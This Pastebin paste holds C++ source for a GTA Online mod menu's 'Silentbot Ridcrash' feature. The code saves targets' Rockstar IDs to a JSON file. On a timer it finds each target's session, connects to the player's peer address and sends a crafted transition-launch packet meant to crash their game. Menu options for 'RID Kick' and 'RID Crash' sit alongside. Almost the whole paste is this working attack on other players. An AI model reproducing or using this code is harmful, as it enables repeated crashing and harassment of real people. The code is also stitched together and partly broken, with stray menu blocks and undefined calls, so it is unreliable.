Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- namespace attachmentSilent
- {
- struct Senderattachment
- {
- std::string username;
- std::string rockstarid;
- int timersender;
- };
- void to_json(nlohmann::json& j, const Senderattachment& attachment);
- void from_json(const nlohmann::json& j, Senderattachment& attachment);
- };
- namespace attachmentSilent
- {
- void to_json(nlohmann::json& j, const attachmentSilent::Senderattachment& attachment) {
- j = nlohmann::json{ {"username", attachment.username},
- {"rockstarid", attachment.rockstarid},
- {"timersender", attachment.timersender}
- };
- }
- void from_json(const nlohmann::json& j, attachmentSilent::Senderattachment& attachment) {
- attachment.username = j["username"].get<std::string>();
- attachment.rockstarid = j["rockstarid"].get<std::string>();
- attachment.timersender = j["timersender"].get<int>();
- }
- };
- class Silent_persist
- {
- public:
- static bool boolautolistaction;
- static int autolistaction();
- static int listaction(std::string name, std::string actions);
- static void do_presentation_layer2();
- static int Silentpersist();
- static std::string lastname;
- private:
- static void save_location2(std::string name, std::string rockstarid, int timersender);
- static void save_location2(std::string name);
- static void load_location2(std::string name);
- static void delete_location2(std::string name);
- static std::vector<std::string> list_locations2();
- static void save2(std::string name, attachmentSilent::Senderattachment attachment);
- static void save_json2(nlohmann::json json);
- static nlohmann::json get_locations_json2();
- static std::string get_locations_config2();
- };
- extern void makeSilentfolder();
- class timersimple {
- private:
- std::uint64_t mreadyat;
- bool mtick;
- public:
- void start(std::uint64_t ticks) {
- if (this->mtick) {
- this->mreadyat = GetTickCount64() + ticks;
- this->mtick = false;
- }
- }
- bool is_ready() {
- return GetTickCount64() > this->mreadyat;
- }
- void reset() {
- this->mtick = true;
- }
- };
- namespace Silents
- {
- extern void Silentfolder();
- extern std::string username;
- extern std::string rockstarid;
- extern int autolisttimersender;
- extern int timersender;
- }
- std::string Silents::username = "";
- std::string Silents::rockstarid;
- int Silents::timersender = 30;
- int Silents::autolisttimersender = 30;
- int Silent_persist::Silentpersist()
- {
- Silent_persist::save_location2(Silents::username);
- return 0;
- }
- int arraysize2 = 0;
- int lastarray2 = 0;
- int arrayfind2 = 0;
- bool arraychange2 = 0;
- int changedarray2()
- {
- if (arraychange2)
- {
- if (lastarray2 < arraysize2)
- {
- arrayfind2 = lastarray2 + 1;
- lastarray2 = arrayfind2;
- arraychange2 = 0;
- }
- else if (lastarray2 = arraysize2)
- {
- arrayfind2 = 0;
- lastarray2 = arrayfind2;
- arraychange2 = 0;
- }
- }
- return 0;
- }
- std::string menuarray2 = "";
- int intarrayi2 = 0;
- bool Silent_persist::boolautolistaction = 0;
- int Silent_persist::autolistaction()
- {
- /*if (Features::onlineplayer)
- {*/
- if (Silent_persist::boolautolistaction)
- {
- DWORD ticks = GetTickCount64();
- DWORD milliseconds = ticks % 1000;
- ticks /= 1000;
- DWORD seconds = ticks % 60;
- int getTimer = seconds;
- if (getTimer % Silents::timersender == 0)
- {
- auto Silent_locations = Silent_persist::list_locations2();
- static std::string selected_Silent2;
- std::vector<char*> charVeclist(Silent_locations.size(), nullptr);
- for (int xi = 0; xi < Silent_locations.size(); xi++) {
- charVeclist[xi] = &Silent_locations[xi][0];
- arraysize2 = xi;
- }
- if (arraysize2 != 0)
- {
- changedarray2();
- std::string stringchar = charVeclist[lastarray2];
- for (int i = 0; i < 32; i++) {
- intarrayi2 = i;
- std::string playerlocations = charVeclist[lastarray2];
- if (playerlocations != "")
- {
- Silent_persist::load_location2(playerlocations);
- }
- if (i == intarrayi2)
- {
- arraychange2 = 1;
- }
- }
- }
- }
- }
- /*}*/
- return 0;
- }
- int Silent_persist::listaction(std::string name, std::string actions)
- {
- simpletime2 simpltime;
- int timer = Silents::timersender * 1000;
- bool checkstatue = 1;
- uint64_t value;
- std::istringstream iss((char*)Silents::rockstarid.c_str());
- iss >> value;
- if (name != "")
- {
- /*DWORD ticks = GetTickCount64();
- DWORD milliseconds = ticks % 1000;
- ticks /= 1000;
- DWORD seconds = ticks % 60;
- int getTimer = seconds;
- if (getTimer % Silents::timersender == 0)
- {*/
- rage2::rlGamerHandle player_handle(value);
- rage2::rlSessionByGamerTaskResult result;
- WAIT(1000);
- bool success = false;
- rage2::rlTaskStatus state{};
- DWORD ticks = GetTickCount64();
- DWORD milliseconds = ticks % 1000;
- ticks /= 1000;
- DWORD seconds = ticks % 60;
- int getTimer = seconds;
- if (getTimer % 2 == 0)
- {
- if (g_GameFunctions->m_start_get_session_by_gamer_handle(0, &player_handle, 1, &result, 1, &success, &state))
- {
- simpltime.start(timer);
- while (state.status == 1)
- {
- WAIT(100);
- }
- if (state.status == 3 && success)
- {
- crashbyrockstarids(value);
- }
- }
- }
- /*}*/
- }
- return 0;
- }
- void Silent_persist::save_location2(std::string name)
- {
- attachmentSilent::Senderattachment attachment;
- attachment.username = Silents::username;
- attachment.rockstarid = Silents::rockstarid;
- attachment.timersender = Silents::timersender;
- save2(name, attachment);
- }
- void Silent_persist::load_location2(std::string name)
- {
- timersimple ts;
- auto locations = get_locations_json2();
- if (locations[name].is_null())
- return;
- auto model_attachment = locations[name].get<attachmentSilent::Senderattachment>();
- Silents::username = model_attachment.username;
- Silents::rockstarid = model_attachment.rockstarid;
- Silents::timersender = model_attachment.timersender;
- int sendertimer = Silents::timersender * 1000;
- ts.start(sendertimer);
- listaction(Silents::username, Silents::rockstarid);
- }
- void Silent_persist::delete_location2(std::string name)
- {
- auto locations = get_locations_json2();
- if (locations[name].is_null())
- return;
- locations.erase(name);
- save_json2(locations);
- }
- std::vector<std::string> Silent_persist::list_locations2()
- {
- std::vector<std::string> return_value;
- auto json = get_locations_json2();
- for (auto& item : json.items())
- return_value.push_back(item.key());
- return return_value;
- }
- int resultposs = 0;
- void Silent_persist::do_presentation_layer2()
- {
- Menu::Toggle("Silent", Silent_persist::boolautolistaction);
- auto Silent_locations = list_locations2();
- static std::string selected_Silent2;
- int xi = 0;
- std::vector<char*> charVec2(Silent_locations.size(), nullptr);
- for (int i = 0; i < Silent_locations.size(); i++) {
- charVec2[i] = &Silent_locations[i][0];
- xi = i;
- }
- if (xi != 0)
- {
- if (Menu2::ListVector("List", charVec2, resultposs)) {
- char* result2 = charVec2[resultposs];
- selected_Silent2 = result2;
- load_location2(selected_Silent2);
- }
- }
- Menu::Int("List Change Timer ", Silents::autolisttimersender, 10, 500, 1);
- Menu::Int("Timer Sender", Silents::timersender, 10, 500, 1);
- if (Menu::Option("Enter User"))
- {
- Silents::username = CharKeyboardsaveab();
- }
- if (Menu::Option("Enter rockstarID"))
- {
- Silents::rockstarid = CharKeyboardsaveab();
- }
- if (Menu::Option("Save"))
- {
- Silent_persist::save_location2(Silents::username);
- }
- if (xi != 0)
- {
- if (Menu::Option("Load"))
- {
- if (!selected_Silent2.empty())
- {
- load_location2(selected_Silent2);
- selected_Silent2.clear();
- }
- }
- if (Menu::Option("Delete"))
- {
- if (!selected_Silent2.empty())
- {
- delete_location2(selected_Silent2);
- selected_Silent2.clear();
- }
- }
- }
- }
- void Silent_persist::save2(std::string name, attachmentSilent::Senderattachment attachment)
- {
- auto json = get_locations_json2();
- json[name] = attachment;
- save_json2(json);
- }
- void Silent_persist::save_json2(nlohmann::json json)
- {
- auto file_path = get_locations_config2();
- std::ofstream file(file_path, std::ios::out | std::ios::trunc);
- file << json.dump(4);
- file.close();
- }
- nlohmann::json Silent_persist::get_locations_json2()
- {
- auto file_path = get_locations_config2();
- nlohmann::json locations;
- std::ifstream file(file_path);
- if (!file.fail())
- file >> locations;
- return locations;
- }
- void makeSilentfolder() {
- string Silentstring = Directory::get_current_dir() + "\\ThunderMenu\\Silent\\";
- #include <windows.h>
- std::wstring Silentwstring = functions::s2ws(Silentstring);
- LPCWSTR Silentlpcwstr = Silentwstring.c_str();
- if (CreateDirectoryW(Silentlpcwstr, NULL))
- {
- // Directory created
- }
- else if (ERROR_ALREADY_EXISTS == GetLastError())
- {
- // Directory already exists
- }
- else
- {
- // Failed for some other reason
- }
- }
- char Silentchar[255];
- void Silents::Silentfolder()
- {
- ifstream Silentstream;
- Silentstream.open(Directory::get_current_dir() + "\\ThunderMenu\\Silent\\");
- if (Silentstream) {
- Silentstream >> Silentchar;
- }
- if (!Silentstream) {
- makeSilentfolder();
- }
- Silentstream.close();
- }
- std::string Silent_persist::get_locations_config2()
- {
- Silents::Silentfolder();
- auto file_path = Directory::get_current_dir();
- file_path += "\\ThunderMenu\\Silent\\";
- file_path += "TheSilent.json";
- return file_path;
- }
- inline void crashbyrockstarids(uint64_t rid)
- {
- rage2::rlGamerHandle player_handle(rid);
- rage2::rlScHandle socialclub_handle(rid);
- WAIT(1000);
- rage2::snConnectToPeerTaskData connect_to_peer_data{};
- rage2::snConnectToPeerTaskResult connect_to_peer_result{};
- rage2::rlTaskStatus connect_to_peer_status{};
- rage2::rlQueryPresenceAttributesContext query_presence_attributes_context{};
- rage2::rlTaskStatus query_presence_attributes_status{};
- rage2::rlGamerInfoBase peer_address{};
- query_presence_attributes_context.m_presence_attibute_type = 3; // string
- strcpy(query_presence_attributes_context.m_presence_attribute_key, "peeraddr");
- if (!g_GameVariables->m_StartGetPresenceAttributes(0, &socialclub_handle, &query_presence_attributes_context, 1, &query_presence_attributes_status))
- {
- //g_notification_service->push_error("RID Crash", "Cannot start the query presence attributes rline task");
- return;
- }
- while (query_presence_attributes_status.status == 1)
- /*script::get_current()->yield();*/
- {
- simpletime2 simpltime;
- simpltime.start(4000);
- WAIT(4000);
- }
- if (query_presence_attributes_status.status != 3)
- {
- //g_notification_service->push_error("RID Crash", "Querying presence attributes failed");
- return;
- }
- connect_to_peer_data.m_unk = 0;
- connect_to_peer_data.m_reason = 5;
- connect_to_peer_data.m_session_token = 0;
- g_GameVariables->m_DecodePeerInfo(&peer_address, query_presence_attributes_context.m_presence_attribute_value, nullptr);
- if (!g_GameVariables->m_ConnectToPeer(GetNetwork()->m_game_session.m_net_connection_mgr, &peer_address, &connect_to_peer_data, &connect_to_peer_result, &connect_to_peer_status))
- //if (!g_GameVariables->m_ConnectToPeer(gta_util::get_network()->m_game_session.m_net_connection_mgr, &peer_address, &connect_to_peer_data, &connect_to_peer_result, &connect_to_peer_status))
- {
- //g_notification_service->push_error("RID Crash", "Failed to start a connection with player");
- return;
- }
- //g_notification_service->push("RID Crash", "Connecting to player...");
- while (connect_to_peer_status.status == 1)
- /*script::get_current()->yield();*/
- {
- simpletime2 simpltime;
- simpltime.start(4000);
- WAIT(4000);
- }
- if (connect_to_peer_status.status != 3)
- {
- //g_notification_service->push_error("RID Crash", "Failed to connect to player");
- return;
- }
- rage2::packet msg;
- msg.write_message(eNetMessage::MsgTransitionLaunch);
- msg.send(connect_to_peer_result.m_peer_id, 7);
- //}
- //g_notification_service->push("RID Crash", "Sent transition launch crash");
- }
- static void RidCrashplayer(int player)
- {
- uint64_t value;
- std::istringstream iss((char*)m_function::GetPlayerRID(player).c_str());
- iss >> value;
- crashbyrockstarid(value);
- }
- static void ridcrash(std::string joinsessions)
- {
- uint64_t value;
- std::istringstream iss((char*)joinsessions.c_str());
- iss >> value;
- crashbyrockstarid(value);
- }
- if (Menu::Option("Add to Silentbot Ridcrash")) {
- Menu::MenuLevelHandler::MoveMenu(SubMenus::mainmenu);
- Silents::username = Silent_persist::lastname;
- Silents::rockstarid = std::to_string(Settings::m_RIDJoinerTarget);
- if (Settings::m_RIDJoinerTarget != NULL)
- Silent_persist::Silentpersist();
- }
- #pragma region silentbot
- case silentbot:
- {
- Features::onlinemenuplayerlist = false;
- Menu::Title("Silentbot Ridcrash");
- Silent_persist::do_presentation_layer2();
- }
- break;
- #pragma endregion
- #pragma region addplayers
- case addplayers:
- {
- Features::onlinemenuplayerlist = false;
- Menu::Title("Player Added");
- headers::thunderheaders();
- if (authentification2::username2 != "")
- {
- /*if (Menu::Option("joinplayer_Hooks")) {
- }*/
- if (Menu::Option("RID Joiner")) {
- ThunderHooks::RIDFunction();
- }
- //156380352
- if (Menu::Option("RID Kick")) {
- notifyMap("Please Wait 10 seconde thanks");
- std::string joinsessions(CharKeyboardJoin());
- uint64_t value;
- std::istringstream iss((char*)joinsessions.c_str());
- iss >> value;
- KickByRID(value);
- }
- if (Menu::Option("RID Crash")) {
- notifyMap("Please Wait 10 seconde thanks");
- std::string joinsessions(CharKeyboardJoin());
- {
- ridcrash(joinsessions);
- }
- }
- }
- if (Menu::Option("Add A Player")) {
- persist_addPlayer::saveaplayer();
- }
- persist_addPlayer::do_presentation_layer2();
- Menu::MenuOption("Silentbot Ridcrash", silentbot);
- }
- break;
- #pragma endregion
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement